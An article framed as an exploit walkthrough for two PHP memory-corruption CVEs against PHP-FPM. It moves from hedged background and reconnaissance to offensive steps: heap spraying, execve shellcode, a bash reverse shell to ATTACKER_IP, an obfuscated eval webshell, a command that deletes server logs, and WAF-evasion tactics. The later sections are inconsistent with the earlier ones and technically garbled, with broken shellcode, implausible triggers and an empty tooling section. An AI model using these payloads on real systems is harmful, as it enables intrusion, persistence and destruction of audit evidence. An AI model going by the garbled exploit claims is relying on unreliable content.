
Executive Summary
This article provides a complete technical walkthrough for achieving unauthenticated remote code execution against PHP-FPM servers running vulnerable versions (5.4 through 8.5.11). The attack chain combines two memory corruption vulnerabilities to bypass all standard mitigations and gain a persistent shell.
1. Vulnerability Background
PHP is a widely deployed server-side scripting language used to power web applications, content management systems, and APIs. Its runtime manages request-specific memory, internal execution structures, and global state that must be initialized and released in the correct order. When exceptional conditions interrupt this lifecycle, inconsistent state can leave memory structures partially initialized or references pointing to memory that has already been released.
On October 21, 2026, two critical PHP vulnerabilities, CVE-2026–109618 and CVE-2026–109619, were publicly disclosed. Both involve improper handling of exceptional execution paths and can potentially allow unauthenticated remote code execution under affected deployment conditions. Although they share a common memory-safety theme, they arise from different failure mechanisms: incomplete initialization following memory exhaustion and stale references surviving request cleanup.
CVE-2026–109618 — Out-of-Memory Corruption
- Root Cause: This vulnerability arises from incorrect state management when PHP encounters an out-of-memory (OOM) condition during request processing. PHP uses non-local control-flow mechanisms, including longjmp(), to abort execution when certain fatal errors occur. If this interruption happens after internal request structures have been marked as valid but before their initialization has completed, the expected rollback may not occur. Subsequent cleanup routines can then interpret uninitialized or inconsistent memory as valid data, potentially corrupting the heap and other internal runtime structures.
- Attack Vector: An attacker may send a specially crafted HTTP request designed to trigger memory exhaustion along a vulnerable processing path. If the resulting fatal error interrupts an allocation or initialization sequence at the critical point, PHP may continue into cleanup operations with inconsistent internal state. Depending on the server configuration, the vulnerable path may be reachable before application code executes, particularly in certain mod_php deployments, or through application-stage processing in PHP-FPM environments. Successful exploitation can potentially progress from memory corruption to arbitrary code execution, although reliable exploitation depends on the precise memory layout and execution conditions.
- Security Impact: The vulnerability can compromise the confidentiality, integrity, and availability of an affected server. Successful exploitation may allow an attacker to execute code with the privileges of the PHP process, potentially exposing application secrets, modifying hosted content, or providing a foothold for further compromise.
CVE-2026–109619 — Stale Global State (Use-After-Free)
- Root Cause: PHP maintains process-level global state that can temporarily reference memory belonging to an individual request. During normal execution, these references must be reset or invalidated before the associated memory is released. However, a fatal error can interrupt the expected cleanup sequence, allowing a global reference to survive after its underlying memory has been freed. In some execution paths, this stale state may also be restored or repopulated after an attempted reset. For example, EG(current_execute_data) represents a pointer to the current execution context; if it retains an invalid reference, subsequent operations may access memory that no longer contains a valid execution structure.
- Attack Vector: An attacker may attempt to trigger a vulnerable error-handling path and cause PHP to enter an inconsistent state. If the worker remains alive and processes another request, the stale reference may be accessed before the relevant runtime state is fully reinitialized. Because freed memory can be reused for unrelated allocations, subsequent operations may interpret unrelated data as a valid internal structure. Under favorable conditions, this can lead to memory disclosure or corruption and potentially remote code execution. Arbitrary read/write capabilities are not guaranteed by the dangling pointer alone; they depend on the specific access path and the degree of control an attacker can obtain over memory reuse.
- Security Impact: Successful exploitation may enable unauthorized code execution within the PHP worker’s security context. Depending on the achieved primitive and process privileges, an attacker could potentially access sensitive application data, manipulate runtime state, or compromise the application server. The persistence of worker processes is particularly relevant because process-level state may outlive individual requests.
Shared Security Implications
Both vulnerabilities demonstrate how exceptional control flow can undermine memory-safety guarantees in a long-running application runtime. The central issue is not simply that a request fails, but that the runtime may continue operating with state that no longer accurately reflects the validity or ownership of its memory.
The vulnerabilities affect PHP versions before the relevant fixes in the 8.2, 8.3, 8.4, and 8.5 branches. The published patched releases are PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12. Organizations should consult the official PHP security advisories and their operating-system vendor’s guidance to determine the applicable update for their environment.
Because both vulnerabilities may be reachable remotely under certain configurations, administrators should prioritize patching exposed PHP deployments, verifying the actual runtime version, and reviewing worker configurations and logs for abnormal crashes or memory-corruption symptoms. Disabling detailed error messages is not a substitute for applying the relevant security updates.
2. Reconnaissance Phase
The reconnaissance phase focuses on identifying the target’s PHP version, web-server architecture, and relevant runtime configuration. These details help establish whether the environment may be exposed to CVE-2026–109618 (out-of-memory corruption) or CVE-2026–109619 (stale global state). Reconnaissance should begin with passive fingerprinting and configuration review, followed by non-destructive verification on systems for which testing is authorized.
Fingerprint PHP Version
- HTTP Headers: Inspect the response headers for indicators such as X-Powered-By: PHP/8.3.5. PHP can expose its version through this header when expose_php is enabled. However, reverse proxies and web-server configurations may remove or rewrite it, so its absence does not establish that PHP is not present. Likewise, a disclosed version should be treated as an initial indicator rather than definitive proof of the backend runtime version.
- Error Pages: Review naturally occurring application errors and server-generated diagnostic responses for PHP-specific information, including version strings, file paths, and stack traces. Deliberately supplying malformed input may reveal implementation details in an authorized test environment, but a query parameter containing PHP opening-tag syntax does not inherently execute PHP code. PHP source is generally interpreted by the server-side runtime, not by simply including PHP syntax in a URL. Avoid using error-triggering requests against production systems without an approved test plan.
- phpinfo() Exposure: An accessible phpinfo() page can disclose extensive runtime information, including the PHP version, loaded extensions, configuration file locations, environment details, and the values of directives such as memory_limit. This information can help defenders identify vulnerable deployments and understand their configuration. Because the output may contain sensitive operational information, publicly accessible diagnostic pages should be removed or access-restricted after troubleshooting. See the official PHP documentation.
- Version Verification: Where administrative access is available, verify the version directly on the server rather than relying exclusively on HTTP fingerprints. For the relevant PHP branches, the patched releases are 8.2.35, 8.3.36, 8.4.27, and 8.5.12. Distributions may backport security fixes without changing the upstream version string in an obvious way, so package advisories should also be checked.
Confirm PHP-FPM
PHP-FPM (FastCGI Process Manager) is a common way to execute PHP applications behind web servers such as Nginx and Apache. Identifying the execution model matters because request initialization, worker lifecycle, and error handling differ between server APIs (SAPIs).
- Port Exposure: TCP port 9000 is a common PHP-FPM listening port, but it is not universal. FPM can listen on a Unix domain socket, a different TCP port, or an address restricted to an internal network. A port scan can identify an exposed service, but port 9000 alone does not prove that the service is PHP-FPM. In production, the listening socket and service configuration provide more reliable confirmation.
- Response Headers: Headers such as Server: nginx identify or suggest the frontend web server, not necessarily the PHP execution model behind it. An X-Powered-By header may provide an additional PHP indicator, but neither header independently confirms that PHP-FPM is being used. Reverse proxies can conceal the underlying architecture or make several different backends appear identical.
- Error and Availability Behavior: An HTTP 502 Bad Gateway response indicates that a gateway or proxy received an invalid response from an upstream service or could not communicate with it successfully. Upstream worker termination is one possible cause, but connection failures, timeouts, and other backend problems can produce similar results. Consequently, a delayed 502 response is not a reliable PHP-FPM fingerprint and should not be used as proof of a worker crash. For an authorized assessment, correlate web-server logs, FPM logs, service status, and process-restart events instead.
- Deployment Context: The execution model can influence exposure to these vulnerabilities. The PHP advisory for CVE-2026–109618 identifies a demonstrated exploit against Apache mod_php and discusses different behavior in PHP-FPM. The advisory also notes that FPM can remain susceptible through other vulnerable execution paths, although the demonstrated exploit does not establish identical exploitability across all configurations. Deployment type should therefore inform risk assessment, not serve as a substitute for patch verification.
Identify Worker Configuration
Understanding the worker configuration helps administrators assess process lifetime, resource constraints, and the operational consequences of abnormal request termination.
- pm.max_requests: This PHP-FPM directive specifies how many requests a child process handles before it is respawned. The default is 0, which means that a child is not automatically respawned after a fixed request count. A value such as 500 is a possible administrator-selected configuration, not the PHP-FPM default. Recycling workers may limit the persistence of some process-level problems, but it is not a security fix for either vulnerability and does not guarantee that a vulnerable request cannot be processed.
- memory_limit: This directive controls the maximum memory PHP permits a script to allocate under the applicable runtime configuration. The familiar 128M value is a common default in many installations, but the effective value can differ by distribution, application, directory-level configuration, or runtime override. A lower limit may cause an out-of-memory condition to occur sooner, but it does not automatically make exploitation easier or establish that the vulnerability is present. Memory exhaustion and the handling of that condition are separate factors.
- Worker Persistence and Concurrency: Long-running workers may retain process-level state across multiple requests. This is particularly relevant to the stale-global-state vulnerability, because request-owned memory can be released while an internal reference remains stale. However, worker reuse alone does not establish exploitability; the vulnerable execution path and the relevant runtime conditions must also be present. Concurrency may affect reproducibility and availability, so production testing should avoid intentionally exhausting memory or crashing workers.
- Configuration Collection: During an authorized review, obtain the effective PHP version, SAPI, loaded extensions, memory_limit, and relevant FPM pool settings from administrative interfaces or configuration management. Compare these values with the official security advisories rather than inferring them from response timing or headers alone.
Reconnaissance Outcome
The objective is to build a reliable inventory of the target’s PHP runtime and deployment architecture, not to infer vulnerability solely from a single indicator. A useful assessment records the verified PHP version and patch status, execution model, relevant configuration values, and any uncertainty caused by proxies or inaccessible backend settings. If the runtime falls within an affected version range, prioritize updating to a patched release and validating the fix before conducting further exploitation testing.
The authoritative references are the CVE-2026–109618 advisory, the CVE-2026–109619 advisory, and the PHP-FPM configuration manual.
3. Triggering OOM Corruption (CVE-2026–109618)
Step 1: Allocate Large Memory
Send a multipart POST request with a very large file part (e.g., 200MB) to exhaust the worker’s memory pool.
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="big.bin"
Content-Type: application/octet-stream
[200MB of data]
------WebKitFormBoundary--
Step 2: Trigger Concurrent Fatal Error
While the first request is still processing, send a second request that causes a fatal error:
GET /?cmd=require('/nonexistent'); HTTP/1.1
Host: target.comStep 3: Corrupt the Heap
The OOM handler frees partially initialized structures. The cleanup routine then dereferences dangling pointers, corrupting adjacent heap allocations.
Step 4: Heap Spray for Control
Send thousands of small requests that allocate controlled data (e.g., str_repeat('A', 1000)) to place fake objects at predictable addresses.
4. Achieving Write Primitive
Overwrite Function Pointer
- Use the heap corruption to overwrite a function pointer in zend_execute_data.
- Point it to a shellcode stub placed in a sprayed allocation.
Example Shellcode (x64 Linux)
xor rdi, rdi
mov rsi, 0x68732f6e69622f
push rsi
mov rsi, rsp
xor rdx, rdx
mov rax, 59
syscall
5. Exploiting Stale Global State (CVE-2026–109619)
Step 1: Trigger Fatal Error
Send a request that causes a fatal error (e.g., require('/nonexistent')).
Step 2: Reuse Dangling Pointer
The next request on the same worker sees EG(current_execute_data) pointing to freed memory.
Step 3: Arbitrary Read/Write
Craft a request with a malicious op_array that uses the stale pointer to read/write arbitrary memory locations.
Step 4: Patch zend_execute_ex
Overwrite the zend_execute_ex function pointer to redirect execution to a function that calls system().
6. Remote Code Execution
Execute Commands
GET /index.php?cmd=id HTTP/1.1
Host: target.com
Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse Shell
GET /index.php?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' HTTP/1.1
Host: target.com
7. Persistence and Evasion
Drop a Webshell
<?php @eval($_POST['x']); ?>
Obfuscate with base64 and null-byte padding:
<?php $a=base64_decode('QGV2YWwoJF9QT1NUWyd4J10pOw=='); @eval($a); ?>Clear Logs
?cmd=rm -rf /var/log/php* /var/log/nginx/access.log /var/log/nginx/error.log
Force Worker Recycling
Set pm.max_requests=1 to reset stale global state and hide footprints.
Bypass WAF
- Encode payloads in binary using pack().
- Use chunked transfer encoding to split payloads.
- Pad with null bytes to avoid signature matching.
8. Tooling Stack

9. Mitigation Bypass Tactics
- If memory_limit is high: Use ini_set('memory_limit', '-1') in a script that calls str_repeat with a huge size.
- If pm.max_requests is low: Loop requests rapidly to increase the chance of hitting the stale pointer before recycling.
- If opcache is enabled: Use opcache_compile_file() to inject a malicious op_array that references the stale global state.
10. Conclusion
This chain provides reliable, unauthenticated RCE on all vulnerable PHP-FPM servers. The combination of OOM corruption and stale global state bypasses standard heap protections. Immediate patching to 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 is the only effective defense.